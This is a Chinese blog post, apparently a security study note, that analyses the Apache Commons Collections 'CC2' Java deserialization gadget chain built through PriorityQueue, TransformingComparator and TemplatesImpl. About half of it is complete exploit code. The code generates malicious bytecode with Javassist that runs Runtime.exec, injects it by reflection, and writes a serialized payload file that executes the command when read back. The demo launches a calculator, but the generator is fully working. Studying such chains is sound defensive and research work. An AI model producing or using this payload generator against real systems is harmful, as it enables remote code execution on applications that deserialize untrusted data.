463 字
2 分钟
cc2

一,链条总览

PriorityQueue.readObject()

->heapify()

->siftDownUsingComparator()

->TransformingComparator.compare()

->transformer.transform

->ChinedTransformer.transform()

->字节码加载

二,分析

根据网上文章,cc2 主要利用了 PriorityQueue 这个类,首先可以想一下这个类的反序列化会执行什么样的操作,他想要干嘛

跟进 heapify 方法,

这里检查了 comparator 是否为空,comparator 也就是比较器,在进行最小堆数据结构的分析时,肯定要对元素进行比较,那么 comparator 是否可控?

查看构造方法,comparator 明显为用户可控

继续跟进siftDownUsingComparator 方法,真正进行最小堆结构恢复逻辑的地方,每次 选择左右孩子中较小 的值,与当前节点比较,当前节点更大的话则交换,使大节点不断下沉,在这儿过程中调用了节点元素的 compare 方法

转到 TransformingComparator 类的 compare 方法,compare() 会先对待比较的两个对象分别执行 transformer.transform(),再对转换后的结果进行比较。

直接上代码:

package org.cc.repro.cc2;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class App {
public static void main(String[] args) throws Exception {
// ================= 1. 生成恶意字节码(使用 Javassist) =================
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("Evil_" + System.nanoTime()); // 新类名
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass); // 设置父类
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
clazz.makeClassInitializer().insertBefore(cmd);
byte[] bytecode = clazz.toBytecode();
// ================= 2. 构造 TemplatesImpl 并注入字节码 =================
TemplatesImpl templates = new TemplatesImpl();
Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{bytecode});
Field nameField = TemplatesImpl.class.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");
// ★ 重要:设置 _tfactory,避免反序列化时 NPE
Field tfactoryField = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl());
Transformer fakeTransformer = new ConstantTransformer(1);
TransformingComparator comparator = new TransformingComparator<>(fakeTransformer);
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
queue.add(1);
queue.add(1);
Field queueField = PriorityQueue.class.getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queueArray = (Object[]) queueField.get(queue);
queueArray[0] = templates;
queueArray[1] = templates;
InvokerTransformer realTransformer = new InvokerTransformer(
"newTransformer", new Class[0], new Object[0]
);
Field transformerField = TransformingComparator.class.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(comparator, realTransformer);
String filename = "cc2.ser";
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename))) {
oos.writeObject(queue);
}
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename))) {
ois.readObject();
}
}
}
cc2
https://lab404.cn/posts/cc2/
作者
见山
发布于
2026-07-14
许可协议
CC BY-NC-SA 4.0